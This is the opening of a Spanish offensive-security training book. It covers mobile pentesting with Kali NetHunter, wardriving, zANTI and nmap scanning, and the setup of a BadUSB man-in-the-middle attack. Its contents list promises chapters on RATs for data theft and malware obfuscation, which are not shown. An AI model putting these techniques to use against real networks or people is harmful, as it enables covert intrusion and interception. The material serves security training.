Certificación de seguridad ofensiva

Nivel 2.
BLACKHAT.

[Link]

Alejandro Torres Ramírez.

Miguel Ángel Navarrete.

1
Todos los nombres propios de programas, sistemas operativos, equipos, etcétera, que aparezcan en este libro son
marcas registradas de sus respectivas compañías u organizaciones.

Reservados todos los derechos. El contenido de esta obra está protegido por la ley, que establece penas de prisión y/o
multas, además de las correspondientes indemnizaciones por daños y prejuicios, para quienes reprodujesen, plagiaren,
distribuyeren o comunicasen públicamente, en todo o en parte, una obra literaria, artística o científica, o su trasformación,
interpretación o ejecución artística fijada en cualquier tipo de soporte o comunicada a través de cualquier medio, sin la
preceptiva autorización.

© Edición HackingMexico, 2017

Ciudad De México

Impreso México

Proyecto gestionado por HackingMexico: [Link]

2
 A mis padres, a toda la familia Torres Ramírez por todo lo que hicieron por mí, hasta la fecha.

A mi amigo Raúl Robles por su recorrido y enorme noble labor que hizo al fundar HackingMexico, sobre todo lo
que aporto para la comunidad informática en México, QEPD.

3
 TABLA DE CONTENIDOS
Capítulo 1: Hacking desde el Móvil. ........................................................................................................... 9

 ¿Por qué hacer pentesting desde un dispositivo móvil? ........................................................................ 10

 ¿Cómo configurar un móvil Nexus 6 para que funcione con Kali NetHunter? ..................................... 11
 Introducción al Information Gathering desde tu móvil ......................................................................... 12
 Descubrimiento y análisis de redes: WarDriving ......................................................................................... 12
 Uso de Wifi Analyzer ......................................................................................................................... 12-17
 Recolección de información y Network Mapping .................................................................................. 18
 Uso de zANTI ...................................................................................................................................... 19-24
 Terminales de comandos en el Móvil Nexus 6 .................................................................................. 25-27
 Ataques Man in the Middle Mediante móvil Nexus 6 y NetHunter ....................................................... 28
 Ataque Man in the Middle mediante BADUSB ....................................................................................... 29-37
 MITM desde zANTI ............................................................................................................................ 38-44
 Explotación local mediante NetHunter y Metasploit Framework ..................................................... 44-47
 EXTRA: Bypass login en Windows mediante vector HID ................................................................... 48-54

 Ataques a redes inalámbricas. .................................................................................................................................... 55

 Denegación de servicios dentro y fuera de la red ............................................................................. 56-57

 DoS mediante cSploit ............................................................................................................................................ 58-61
 DoS hacia Access Points mediante NetHunter ...................................................................................................... 62-65
 Obtención de passwords de Access Points con seguridad WEP/WPA/WPA2 ....................................... 66
 Instalación de Fluxion en dispositivos con NetHunter .......................................................................................... 67-70
 Obtención de passwords de redes Inalámbricas con Fluxion ............................................................................... 70-77
 EXTRA: DoS mediante Fluxion ..................................................................................................................................... 77

Capítulo 2: Administración remota mediante RATs (Troyanos de Acceso Remoto). ... 78

 Introducción ................................................................................................................................................................. 79
 Comenzando nuestra aproximación ........................................................................................................ 80
 Configuración de un RAT .................................................................................................................. 81-86
 Familiarizándonos con un Crypter ...................................................................................................... 87-90
 Modo de uso del RAT y acciones de monitoreo y robo de información del cliente/victima ........................... 91-108
 Administración remota con QUASAR RAT ............................................................................................... 109
 ¿Qué es y cómo poder usarlo ........................................................................................................ 109-111
 Builder de QUASAR RAT ................................................................................................................ 111-115
 Administración Remota y robo de información con QUASAR RAT ......................................................... 115-124
 Uso de R-W0rm RAT .................................................................................................................... 125-128

 EXTRA 2: Exploiting mediante Venom ShellCode Generator ........................................................ 129-141

 EXTRA 3: Uso de llaves de cifrado mediante GPG ........................................................................ 142-147

4
Capítulo 3: Desarrollo de exploits (Exploit Development). ............................................................... 148

 Introducción. ......................................................................................................................................... 149

 Aspectos básicos ...........................................................................................................................................................150

 Registros .......................................................................................................................................................................151
 Nuestra primera aproximación: Buffer Overflow ................................................................................................. 152-158
 La segunda aproximación: Buffer Overflow con Python e Immunity Debugger ................................................... 158-166
 Uso de [Link].................................................................................................................................................... 167-173

 Formulación de tu propio Auxiliary para DoS. ...................................................................................... 173

 Elaboración de tu primer módulo en Metasploit ................................................................................................. 174-180
 Importación de modulo y ejecución de código ............................................................................................................181

 Formulación de exploit para servidores FTP vulnerables. .................................................................... 182

 Identificación de objetivo vulnerable ................................................................................................................... 184-185
 Código y escritura de exploit ................................................................................................................................ 186-187
 Estructura del exploit ............................................................................................................................................ 188-190
 Importación y ejecución de exploit ...................................................................................................................... 191-193

Capítulo 4: Modding - Ofuscación hacía Malware. ............................................................... 194

 Introducción ................................................................................................................................... 195-196

 Modificaciones manuales en el código de binarios .............................................................................................. 197-199

 Método RIT ........................................................................................................................................................... 200-206
 Traslado del Entry-Point ........................................................................................................................................ 207-212
 Detección y remoción de firmas antivirus mediante método RIT ........................................................................ 213-224
 Traslado de instrucciones de las API’s .................................................................................................................. 225-227
 Remoción y traslado de librerías .......................................................................................................................... 228-234
 Traslado de las API’s de una librería ..................................................................................................................... 235-244

Capítulo 5: Análisis de Malware. ...................................................................................... 245

 Introducción .......................................................................................................................................... 246

 Metodologías para analizar malware ...........................................................................................................................247

 Razones por las que se debe hacer un análisis a una muestra de malware .................................................................248
 ¿Por qué este es un proceso proactivo? ......................................................................................................................249
 Nuestra primera aproximación mediante análisis dinámico ................................................................................ 250-252
 Monitor de procesos como herramienta para cazar malware .............................................................................. 253-258
 Analizando el tráfico con Wireshark y Remnux .................................................................................................... 259-266
 Cifrado interno del malware (Inner Encryption) ................................................................................................... 267-269
 Analizando rutinas de cifrado con Olly Debugger................................................................................................. 270-278
 REMnux y el estudio de software malicioso ......................................................................................................... 279-281
 Análisis dinámico con REMnux ............................................................................................................................. 282-293
 Behavioral Analysis con PEScanner ....................................................................................................................... 294-298
 Análisis estático y dinámico hacia documentos maliciosos. ................................................................................ 299-320
 Conclusiones .................................................................................................................................................................321
5
 Lo que se cubre en nuestro libro:

Capítulo 1: Hacking desde el móvil: En este capítulo se cubrirá la configuración

necesaria para que nuestro dispositivo móvil (Series Nexus en este caso), funcionen de forma
correcta para poder realizar tareas de pentesting de una forma más discreta y sigilosa,
haciendo uso de un extenso repertorio de herramientas que contiene NetHunter así como
otras ajenas a este para poder perjudicar recursos informáticos desde nuestro dispositivo
móvil, en donde estará involucrado el uso de hardware adicional para poder llevar cabo
esto

Capítulo 2: Administración remota mediante RAT´s (Troyanos de Acceso

Remoto): Haremos uso de diferentes herramientas que nos permiten construir o crear
software potencialmente perjudicial, ejemplificando como estas piezas de software nos
permiten llevar a cabo una infección mayormente perjudicial, consiguiendo así acceso no
autorizado al ordenador de la víctima, abriéndonos la puerta para poder realizar tareas de
monitoreo (Surveillance), robo de información sensible, como lo son passwords, información
personal, tarjetas de crédito, etc.

Capítulo 3: Desarrollo de exploits (Exploit Development): En este apartado se harán

diferentes demostraciones para ejemplificar casos de formulación de exploits (o Exploit
developing) es el proceso que consiste en la creación de exploits, a lo largo de este tercer
capítulo te encontrarás con múltiples vulnerabilidades y harás el “developing” de los métodos
de aproximación para estas en Metasploit y finalmente conseguirás explotarlas. Para esto,
tendrás que hacer uso de una diversa gama de herramientas que te servirán de apoyo para
lo anterior, entre diferentes técnicas de reversing.

Capítulo 4: Modding - Ofuscación hacia el Malware: Terminados los 2 capítulos

anteriores en donde nos involucramos con el uso software dañino o malware, es momento
de entender cómo hacerle ciertos cambios que resultaran favorables para el factor de la
no detección de estas piezas de código, es por ello que en este capítulo te familiarizaras con
la extensa variedad de herramientas que ocuparas, así como también con las diferentes
técnicas y métodos que te permitirán realizar modificaciones hacia cierto malware

Capítulo 5: Análisis de Malware: En este último capítulo se demostrará al lector como es

que el malware desempeña un papel importante en la mayoría de los incidentes de intrusión
y seguridad de recursos informáticos, en donde cualquier pieza de software que haga algo
que cause daño a un equipo, computadora o red puede resultar en algo crítico, incluyendo
troyanos, payloads y demás muestras, (muchos con la finalidad de ejecutar tareas de
spyware), etc. Las diferentes caras del malware hacen una extensa variedad de cosas de
diferente tipo, por ello, es indispensable contar con un conjunto de herramientas y técnicas
a nuestra disposición para estudiar este malware.
6
¿Hacia quienes va dirigido este libro?
Este libro va dirigido al grupo de pentesters e informáticos con fuertes conocimientos en el
tema de hacking, así como también está dirigido a demás gente que quiere familiarizarse
con temas más complejos en el área de la seguridad informática, así como conocer los
factores que implican los tópicos de este libro, retomando la metodología de la seguridad
ofensiva que se enseña en nuestro libro COISP 1, para la tomar actitud ofensiva hacía recursos
informáticos, como también familiarizarse con el uso de herramientas para pentesting, este
libro requiere conocimientos intermedios a avanzados en el uso de herramientas para
pentesting y reversing.

Lo que necesitarás para este libro:

Se hará uso de varias máquinas virtuales y demás software que constituirá nuestro laboratorio
virtual, para poder realizar los ejercicios necesitarás lo siguiente:

 Nuestras maquinas atacantes/victimas serán: Windows, Metasploitable 2 y Parrot OS

 Las maquinas que funcionarán como plataforma de trabajo/estudio: Windows 7 y REMnux.

 Software para virtualización: VMware Workstation ó Player, la versiones más reciente, en el caso de
usuarios con Mac, se utilizará VMware Fusion, todo el demás software requerido será mencionado a
lo largo de las lecturas.

 Hardware: Tu maquina debe contar al menos con 4GB de RAM, 50GB libres en HDD, y procesador
Core i3 o superior.

7
8
9
¿Por qué hacer pentesting desde un
dispositivo móvil?
Bien, a decir verdad, es preferible hacerlo desde un computador normal como lo es una laptop, sin
embargo, habrá ocasiones en las que vas a requerir una flexibilidad o movilidad mayor para una o
varias situaciones determinadas, ya que estas no se van a prestar para hacer uso del equipo antes
mencionado.

En cambio, con un móvil puedes aproximarte más a la solución que estás buscando para esta
situación, ya sea que quieras utilizar tú teléfono u otro dispositivo móvil como una Tablet. Existen
diferentes piezas de hardware que pueden realizar o se prestan para el trabajo que quieres hacer,
existe un dispositivo llamado “Pwnie Express”, este es un dispositivo móvil con la potencia en
hardware suficiente para llevar a cabo tareas de pentesting, además ya viene precargado con
herramientas y cuenta con ciertas modificaciones en el hardware a fin de hacer el trabajo antes
descrito. Por obvias razones este dispositivo tiene un costo un poco elevado, así que si puedes
adquirirlo tendrás una ventaja grande, ya que si con anterioridad habías hecho tareas de
pentesting desde el móvil entenderás de que estoy hablando, sin embargo, existe otra forma que
se puede igualar a ello.

Apuesto a que conoces o alguna vez viste o usaste aplicaciones o software bastante simple o
básico para dispositivos móviles (En su mayoría Android) que permiten hacer “Hacking o
Pentesting”, en algún un momento remoto pueden llegar a ser útiles, pero jamás serán igual de
eficientes y completas que el software o las herramientas que se encuentran en una distribución
para pentesting, en este caso se trata de Kali NetHunter.

Esta es una distribución para pentesting lanzada por Offensive Security (Desarrolladores de Kali
Linux), en donde podrás encontrar una extensa variedad de herramientas para hacer pentesting y
realizar pruebas del mismo tópico, obviamente no encontrarás todo lo existente en Kali Linux en
Kali NetHunter, ya que habrá funcionalidades sobre las que un móvil no se presta para ejecutar,
por ende, esta distribución contiene menos cosas, pero las suficientes para poder hacer bien el
trabajo, y por supuesto, habrá algunas que instalarás manualmente, ya que Kali NetHunter no las
trae viene precargadas, un último detalle es que Kali NetHunter puede funcionar en conjunto con
tu dispositivo móvil sin generar gran diferencia, no es “tener Linux instalado en el móvil”, ya que
Kali NetHunter opera sobre Android.

En esta primera parte del libro, aprenderás a utilizar un dispositivo móvil para realizar pentesting
de diferentes maneras mediante vectores de ataque distintos, aquí lo haremos de 2 formas:

 Usando software algo avanzado o aplicaciones complejas para hacer pentesting desde el móvil.
 Haciendo uso de las herramientas existentes en Kali NetHunter.

10
¿Cómo configurar un móvil Nexus 6 para
que funcione con Kali NetHunter?
Un detalle que no se puede dejar pasar es la compatibilidad, así es, los desarrolladores de Kali
NetHunter solo lo hicieron para que funcionase en dispositivos Nexus, del modelo 5 hasta el más
reciente el día de hoy, que se trata del OnePlus One, ya que los demás móviles no se prestan para
que Kali NetHunter cumpla con su funcionamiento adecuado.

Obviamente hay demás modelos de teléfonos que operan actualmente con la distro, sin embargo,
Offensive Security publicó una lista de los dispositivos móviles que oficialmente se les puede
instalar y tener funcionando a la perfección a Kali NetHunter, si encuentras otros dispositivos
ajenos a la lista que tienen instalado a Kali NetHunter, pueden correrlo, de una forma no oficial,
estos son los dispositivos oficialmente nombrados por Offensive Security para poder instalarles
Kali NetHunter:
Nexus 5, Nexus 6, Nexus 7, Nexus 9, Nexus 10 u OnePlus One

Esto es importante y que la estabilidad de un sistema, del que sea, lo es todo, y si en un inicio p
“Boot” algo sale mal (qué es muy común), el dispositivo puede sufrir daños irreversibles y puede
quedar inutilizable, por lo que requerirá un “Hard Reset”, por ello solo es recomendable utilizar a
Kali NetHunter solamente sobre los dispositivos antes mencionados.

Para el caso de este libro, el móvil que se utilizó para hacer las demostraciones fue el Nexus 6.
IMPORTANTE: Existen diferentes métodos para conseguir la instalación de Kali NetHunter en un
dispositivo móvil, unas mejores que otras, pero existe un detalle, todas… TODAS tienen algo en
común, lo laborioso, por lo que te resultará mucho más complejo encontrar instrucciones en texto.
Debajo habrá el URL de un video en donde encontrarás la forma más confiable para conseguir
esta instalación, sin embargo, en el material referente a este capítulo encontrarás el Software
requerido para completar esta instalación.

Le otorgamos el crédito del video y aspectos de Copyright a la persona que es dueña de este
metraje.

[Link]

Una vez que hayas finalizado la instalación y los pasos para dejar listo el móvil para realizar
pentesting, podrás dar inicio a los temas que encontrarás a partir de la página siguiente,
asumiendo que ya tienes a Kali NetHunter funcionando en tu dispositivo móvil. En el enlace de
abajo encontrarás más info a detalle sobre Kali NetHunter:

[Link]

11
Introducción al Information Gathering
desde tu móvil.
Descubrimiento y análisis de Redes (WarDriving).
Esta acción nos permite llevar a cabo la tarea de hallar las redes que se encuentren en el
área donde estamos situados, además que se nos puede presentar la posibilidad de explotar
conexiones de las redes WLAN con las que nos topemos, esto mientras recorremos el camino,
(esto puede ser caminando, manejando). Para hacer WarDriving necesitarás un dispositivo
que cuente con una antena interna o externa que esté trabajando en modo promiscuo, este
dispositivo puede ser una Laptop o un móvil, entre lo que se puede obtener gracias al
WarDriving se encuentra bastante información útil como lo es:

 SSID´s de los AP (Access Points)

 Intensidad de los Access Points
 Tipo de cifrado del password que protege al AP
 Canal de Red
 Dirección MAC

Uso de Wifi Analyzer

Toda la información anteriormente enumerada se puede conseguir mediante el uso de una App
llamada “Wifi Analyzer”, además de que nos permite realizar otras tareas como monitoreo
de intensidad en tiempo real, mostrar grafico de Canales, Listas de AP (Access Points),
hacer uso de un medidor de señal, etc.

Esta App se puede conseguir de forma gratuita en PlayStore, desde donde se descargará e
instalará.

Imagen 1.1: Busqueda de Wifi Analyzer.

12
 Imagen 1.2: Wifi Analyzer listo para usarse.

Luego de haberse instalado la aplicación la abriremos, al hacer esto, Wifi Analyzer

automáticamente encontrará las redes inalámbricas que estén funcionales en el área donde
estemos.

Mostrando así un gráfico que indica las intensidades de la señal de los Access Points
hallados, esta se mide en dBm (decibel milliwatts) mientras menor sea el número de esta
unidad de medida, más fuerte será nuestra señal, así como se ejemplifica en la imagen. En
este caso el AP con la señal más fuerte es “430FFST”, que es al que está conectado el
dispositivo:

Imagen 2.3: Grafica de Access Points y sus intensidades de señal.

13
 Una vez identificado el canal Wi-Fi, podremos obtener más información detallada sobre este,
como puede ser la obtención de un gráfico en tiempo acerca de los Access Points que
hallemos, también la enumeración de los Access Points encontrados, etc.

Para visualizar esto, abriremos un pequeño menú desplegable que se encuentra en la parte
superior derecha de la App, donde se mostrará distintas funciones, indicándonos la que
estamos llevando a cabo en ese momento, a continuación, realizaremos cada una de estas:

Imagen 3.4 y 1.5: Funciones de visualización de Wifi Analyzer

 Gráfico de tiempo: Este nos permite monitorear en tiempo real el comportamiento de los
canales Wi-Fi que se encuentren en el área, de esta forma se puede tener una
comprensión mejor acerca del comportamiento de ciertos Access Points y sus canales
Wi-Fi.
En el siguiente ejemplo se muestra la unidad de medida para la fuerza de la señal (dBm), los
nombres de los Access Points y su respectivo color de distinción al cual al seleccionar una
determinada red, su señal se resaltará en el color que se muestre en nombre del Access Point
que queramos seleccionar:

14
Imagen 4.6, 1.7 y 1.8: Muestra de gráfico de tiempo sobre distintos AP´s.

15
 Puntuación de Canales: Esta función lo que hace es mostrarnos los mejores canales en
nuestro Access Point y los que más están siendo usados, en donde se puede visualizar el
Nombre del AP, el canal actual sobre el que opera y su “Rating” o puntuación de cada uno
de estos canales.

Esto puede llegar a ser bastante útil ya que se puede saber que canales están siendo
utilizados por ciertas redes, con esto se puede evadir el “LAG” en el tráfico de la red, y así
obtener una señal más fuerte para la red que se establezca en un área, en la siguiente
demostración se ejemplificará esto.

Imagen 5.9 y 2.0: Puntuación de canales y el rango de estos, sobre el cual operan ciertos Access Points.

 Listado de Access Points: Al visualizar la lista de los AP´s encontrados, podemos hallar
información útil como es: la dirección fisca de cada AP (dirección MAC), la dirección IP,
el tipo seguridad o cifrado con el que cuenta este AP, un icono que representa un estimado
de la intensidad de la señal que emite este AP, también la intensidad en su medición exacta
de dBm que también se muestra en tiempo real, el canal en el que opera este AP y la
compañía o marca que fabrico el hardware del Router:

16
 Imagen 2.1: Listado de Access Points y con sus respectivos detalles cada uno.

 Medidor de señal: Esta función nos permite realizar la medición en tiempo real de la
intensidad de la señal del Access Point que se haya escogido, esto se puede hacer desde
el botón anteriormente descrito, ya que desde ahí se enumeran las redes Wi-Fi disponibles
en el área.
También nos muestra el nombre de cada AP y su dirección MAC, al realizar la medición los
datos se arrojaran en dBm, en este ejemplo la intensidad del AP fue de -55 dBm:

Imagen 2.2: Medición de intensidad de señal Imagen 2.3: Lista de Access Points disponibles.
del AP “430FFST”.

17
Como se demostró en estos ejemplos, el WarDriving puede llegar a ser algo de suma utilidad,
ya que nos permite encontrar redes inalámbricas y obtener información detallada de estas
mediante el uso de diferentes dispositivos, ya sea un AP, una computadora portátil o un móvil,
todo esto mientras recorremos una determinado locación o área.

Esta acción se puede definir como el Mapeo de los Access Points en un área definida, esto
puede llevar incluso a descubrir redes con fallos de seguridad o vulnerables a cierto tipo
de ataques.

Recolección de información y Network Mapping.

Luego de haber finalizado con la Fase de WarDriving, una vez identificada la red objetivo,
podemos obtener mayor información acerca de esta. En donde lejos de saber la Dirección
MAC del Router, nombre de la red, intensidad de su señal, canales sobre los que opera, etc.
Es momento de averiguar los detalles sobre cada dispositivo conectado a esta red, todo esto
se puede conseguir gracias al “Network Mapping” o Mapeo de redes.

La función principal de esto es la proporcionar una descripción visual de la red objetivo,

identificando los dispositivos que estén conectados a estas (Hosts) y obtener información sobre
estos.

El mapeo de red permiten identificar el sistema operativo de estos hosts, lo puertos que estén
abiertos, cerrados y filtrados, así como el nombre y versión de los servicios asociados a estos,
como es de saberse, mientras más información tengamos sobre nuestro objetivo, mayores
posibilidades de éxito tendremos al querer perjudicarlo. Entre las utilidades que ofrece esta
acción, las que más ventajas nos dan son:

 Identificar Hosts
 Detección de S.O
 Análisis de red.
 Escaneo de puertos
 Fingerprinting de Servicios.
18
 Uso de zANTI.

ZANTI es un framework que nos permite llevar a cabo tareas de recolección de información,
además de que puede realizar ataques como lo es MITM (Man in the Middle), Spoofing de
direcciones MAC, auditar la complejidad de passwords, etc.

En esta serie de demostraciones se ejemplificará con el apoyo de esta herramienta el escaneo

de Hosts en nuestra red.

NOTA: Este software no está disponible en PlayStore, por lo que se tendrá que conseguir
en su página oficial, en donde solo tendrás que ingresar un e-mail donde se enviarán las
instrucciones de su descarga e instalación en el móvil:

[Link]

Imagen 2.4: Campo para ingresar e-mail en

Zimperium.

Imagen 2.5: Recepción de email.

 Una vez completada esta instalación, abrimos el Framework y seguido de eso nos mostrará
los hosts encontrados mediante un escaneo rápido que hace al iniciar, esto no quiere decir
que se encontraron todos, para asegurarnos de que aparezcan todos los dispositivos
conectados a esta red, realizaremos una vez más este escaneo, con el botón “Refresh”.

19
 Al hacer esto aparecerá y nuevo recuadro indicándonos la función del mapeo y mostrando 2
opciones, “Borrar registros” y “Análisis intrusivo”, por ahora solo habilitaremos la primera
y seleccionaremos OK para comenzar el escaneo. Más adelante trabajaremos con la
segunda función:

Imagen 2.5, 2.6 y 2.7: Proceso para mapeo de red en la que nos encontremos.

 Esperamos a que el escaneo finalice. Al terminar se mostraran los dispositivos conectados

(Hosts) a esta red, indicando el sistema operativo con el que cada dispositivo cuenta, su
dirección IP y su correspondiente dirección MAC (Ambas censuradas) , también el número
de puertos abiertos que estos Hosts tengan:

Imagen 2.8: Mapeo de red finalizado.

Al terminar el escaneo, podremos interactuar con los dispositivos que se muestren en la lista
y poder llevar a cabo múltiples acciones con ellos, en este ejemplo se usará el dispositivo
20
 número dos en la lista, aquel que usa Windows como S.O y cuenta con 9 puertos abiertos, al
seleccionarlo podemos ver 3 columnas:
Comentarios: En esta sección podemos escribir notas acerca del objetivo seleccionado en
zANTI:

Imagen 2.9: Sección de comentarios.

Acerca de: Es en donde automáticamente nos dirigen al escoger un dispositivo de la lista,

dentro de esta columna se encuentran diferentes funciones para llevarse a cabo sobre el host
o dispositivo, como pueden ser las acciones operativas de hacer análisis más completos
hacia este dispositivo, establecer conexiones con él, etc. Así como también está el repertorio
de ataques, que más adelante veremos.

 Dirección IP y MAC: Es la dirección que identifica al objetivo seleccionado y la otra es su

dirección física.
 Nombre: Nombre correspondiente al Host.
 Puertos: Enumeración de los puertos abiertos sobre los cuales se podría llevar a cabo la
explotación de este dispositivo o sistema informático, en este caso se encuentran abiertos los
puertos 137, 135, 139, 443, 445, 902, 912, 5357, 6646.

21
 Imagen 3.0: Columna principal (Acerca de).

Análisis Nmap: Dentro de esta columna se encuentra la información recopilada mediante

Nmap, esta se obtuvo al momento en el que se mapeó la red para poder identificar los
dispositivos conectados a esta. Al visualizar la información conseguida por Nmap, se
enumerarán todas las direcciones IP de los hosts de los dispositivos que estén dentro de
nuestra red, así como la información obtenida acerca de ellos, aquí un ejemplo con el
dispositivo que seleccionamos:

 PORT, STATE Y SERVICE: En estas 3 columnas se enumeran los puertos que se encuentren
abiertos, cerrados o filtrados. En el caso de los abiertos en la columna “Service” se encuentra
la información acerca del servicio que actualmente está ejecutándose en él, así como detalles
sobre versión, etc.

 Running OS: En el momento que se realiza el escaneo se lleva a cabo un Fingerprinting,

este Fingerprint lo que hace es recolectar información detallada acerca del sistema operativo
que corre en el dispositivo actual, en este caso solo son suposiciones (JUST GUESSING),
en donde nos mostrará los posibles sistemas operativos con los que puede operar este

22
 dispositivo, en este caso se menciona a Vista/ Windows 7 con una posibilidad del 93%:

Imagen 3.1: Resultados de Nmap acerca del objetivo.

Haremos otra demostración con un diferente Host u Objetivo que se encuentra dentro de
nuestra red, en este ejemplo se trata de un Host con S.O Linux, su respectivo nombre del Host
, que es “OWASPBWA”, así como también vemos que cuenta con 10 puertos abiertos:

Imagen 3.2: Host enumerado en la lista con su descripción.

Ahora que tenemos identificado el Host, realizaremos los mismos pasos que en la
demostración anterior para poder ver más información detallada acerca de este Host, como es
número de cada puerto abierto con el que este cuenta. En este caso los que se hallan en este
estado son el: 22, 80, 139, 143, 443, 445, 5001, 8080, 8081 y 137.
En la columna “Análisis con Nmap” se podrá encontrar información acerca de los servicios
en los puertos abiertos del Host, así como el protocolo con el que funciona el puerto, el nombre
del servicio, etc:

23
 Imagen 3.3, 3.4 y 3.5: Descripción del Host e información recopilada con Nmap por zANTI

NOTA: zANTI hace que la información recolectada por Nmap se visible de una forma organizada
y entendible para el usuario, sin embargo esto no quiere decir que solo por este método
haremos uso de Nmap desde nuestro dispositivo con NetHunter. Al igual que en las
distribuciones para pentesting, la forma más rápida de inicializar Nmap es desde la terminal
de comandos, simplemente ejecutando “nmap –h”:

24
Ejecución de comandos desde dispositivo Nexus 6.

Para ejecutar un comando desde nuestro dispositivo Android, tenemos que usar la terminal,
esta se encuentra en el menú de aplicaciones, su icono identificador es el siguiente:

Imagen 3.6: Ubicación de terminal en el repertorio de aplicaciones.

Puesto a que ocuparemos bastante la terminal de comandos de NetHunter, será necesario

explicar algunas cosas antes de continuar. Al momento de que decidimos abrir una terminal en
nuestro dispositivo con NetHunter nos aparecerán 3 opciones, estas 3 opciones son diferentes
tipos de Shells, (KALI, ANDROID Y ANDROIDSU):

Imagen 3.7: Shells para su selección.

KALI: Al escoger esta Shell, se nos abrirá una terminal de comandos bastante parecida a las
que existen en las distribuciones para pentesting, en donde podremos llevar a cabo la
ejecución de comandos que se involucren o sean afín con las funciones para hacer
pentesting desde nuestro dispositivo Nexus, así como también hacer uso de las
herramientas que trae consigo NetHunter:

Imagen 3.8: Shell de Kali en NetHunter.

25
ANDRIOD: Por su significado “Android Super User”, aquí se nos provee de una Shell de tipo
Unix, en donde podremos realizar la ejecución de comandos con distinta finalidad a los de la
Shell de KALI, aquí nos arrojan la Shell sobre los directorios del sistema Android, sin embargo
no podremos ejecutarlos todos o llevar a cabo una exploración completa, ya que no tenemos
privilegios de carácter administrativo en esta Shell:

Imagen 3.9 y 4.0: Shell de Android y permisos denegados.

ANDROIDSU: Esta Shell solo aparece en dispositivos rooteados, por lo que NetHunter
muestra su existencia de esta Shell, su función principal es la ejecución de comandos como
Súper Usuarios, por lo que se nos otorgan permisos de carácter administrativo o de
máxima autoridad en el sistema:

Imagen 4.1 y 4.2: Shell tipo ANROIDSU y con permisos y privilegios otorgados.

Ahora que entendemos la finalidad de cada uno de los tipos Shell, escogeremos aquella que
nos permita hacer uso de las herramientas que dispone NetHunter, la Shell de Kali. Al abrirse
la terminal ejecutaremos el comando: nmap -sV -O “Dirección IP del Host”, lo que nos
mostrará los información detallada acerca de ls servicios funcionando en cada puerto abierto
del host especificado, así como los detalles acerca del S.O de ese Host, la siguientes
demostraciones serán sobre el Host “OWASPWBA” y el Host “USER”:

26
 Host OWASPBWA:

Imagen 4.3, 4.4 y 4.5: Detalles acerca de los servicios en los puertos y S.O del Host “OWASPBWA”.

 Host USER:

Imagen 4.6 y 4.7: Detalles acerca de los servicios en los puertos y S.O del Host “USER”.

27
Ataques Man in the Middle mediante móvil Nexus 6
y NetHunter.
Después de haber finalizado con la fase de recolección de información usando un dispositivo
móvil mediante el apoyo de zANTI, que como se vio, es una herramienta que nos permite llevar
a cabo múltiples tareas relacionadas con la recolección de información, desde escaneo e
identificación de puertos, servicios y hosts hasta ataques MITM y WarDriving para obtener
información detallada acerca de las redes que se encuentran en el área que transitemos, todo
desde esta aplicación.

Habrá ocasiones en las que se requerirá algo de movilidad y una mayor discreción para
llevar a cabo estos ataques para poder hacer sniffing en la red que estemos dentro, ya sea
LAN o WLAN, ya que el uso de un computador portátil o laptop resulta inadecuado para realizar
estos ataques en un cierto tipo de ambientes, aquí es el momento en el que entra Kali
NetHunter y las herramientas que trae consigo para hacer ataques de tipo MITM (Man in the
Middle).

Gracias al apoyo de estas podremos ver información sensible dentro del trafico al que le
haremos sniffing con la ayuda de nuestro dispositivo móvil y el apoyo de las herramientas que
trae consigo, en donde conseguiremos realizar una irrupción en algún canal de comunicación
legítimo y confiable.

Así para poder conseguir cierta información que supuestamente solo está destinado el usuario
a leer, a lo largo de este segundo módulo se hará uso de las herramientas que trae consigo
NetHunter para realizar ataques de tipo MITM, los cuales serán:

 BADUSB MITM Attack.

 MITM con zANTI

28
Ataque MITM mediante BADUSB.

Los usos y capacidades avanzadas de la implementación de hardware USB para su uso

en actividades de espionaje cibernético es todavía algo que mucha gente en el área de la
informática desconoce. Los profesionales de seguridad requieren del uso de las herramientas
y el equipo correcto para poder realizar ataques en un determinado ambiente, y entre las
herramientas de apoyo que más destacan par estas tareas se encuentra la BADUSB, esta
es una herramienta capaz de poner en peligro y comprometer las comunicaciones de línea
fija por USB a través de un ataque Man in the Middle.

¿Cómo es que funciona?

El funcionamiento de este vector de ataque consiste básicamente en conectar el dispositivo
móvil a un PC, se enciende el dispositivo y se conecta al equipo mediante un cable USB,
cuando se conecta a un equipo víctima el móvil actuará como una interfaz de red, al conectar
el cable USB a un PC obligará a todo el tráfico del ordenador (Windows o Linux) pasar a
través del dispositivo NetHunter, en donde estaremos posicionados como Man in the Middle
esperando a que el tráfico pasa por nuestro móvil.
NOTA: Para que este ataque función debe estar habilitada la transferencia de datos vía USB
(MTP):

Imagen 4.8: Conexión MTP.

29
1. Bad USB MITM ATTACK.
En este primer ataque se utilizará el dispositivo Nexus con Kali NetHunter para realizar MITM,
esto se conseguirá al conectarlo al equipo objetivo mediante un cable USB, lo que usualmente
se hace para transferir archivos entre los 2 equipos o solamente para poner a cargar nuestro
móvil, aquí es donde interviene un uso bastante simple de ingeniería social. Así que lo se
hará en este primer escenario será conectar nuestro móvil al equipo víctima, mientras está
corriendo nuestro ataque Bad USB, al hacer esto el ordenador no reconocerá al móvil
conectado como un dispositivo multimedia o de almacenamiento externo, si no como una
tarjeta de red o interfaz de red, por lo que al conectarlo pasará de tener una conexión Wi-
Fi a tener una tipo “Wired” (Ethernet), en caso de que fuese lo contrario, solo cambiará el
nombre o número de interfaz de red (Eth3 , Eth5, Eth6, etc.) de lo cual será lo único
extraño que llegará a notar la víctima, básicamente nuestro móvil actuará como una tarjeta
de red, por la cual pasará todo el tráfico entre el cliente y servidor, donde el cliente será la
víctima y el servidor será el Router o AP (Access Point)

Preparando lo necesario:
Antes de conectar el dispositivo al ordenador objetivo, será necesario realizar algunas
configuraciones previas a la conexión por USB, ya que si se conecta como se acostumbra
a hacerlo, no se capturará nada. Para esto, abriremos una terminal en el dispositivo, al hacerlo
escogeremos la de tipo “KALI”, que será sobre la que trabajaremos. Dentro, navegaremos
hacia el directorio “/sdcard/nh_files” en donde se hallan archivos que serán parte de nuestra
configuración.
NOTA: La ubicación del directorio “/sdcard” puede variar.

Dentro del directorio, se encuentra un archivo con extensión .txt, con nombre “Flushiptables”,
el cual contiene líneas con comandos que se encargarán de establecer una configuración
para despejar las IP Tables en Linux, esto lo haremos mediante el comando “bash
[Link]” así nuestro móvil funcionará como una tarjeta de red para que el tráfico
fluya por nuestro dispositivo. Todo ya está listo para iniciar nuestro ataque por mediante Bad
USB mediante el menú de Kali NetHunter.

30
 Imagen 4.9 y 5.0: Directorio de [Link]

Sin embargo no está de más demostrar como iniciar este ataque mediante la terminal de Kali
en tu dispositivo, para esto, navegaremos al directorio “/configs”, que se encuentra en la
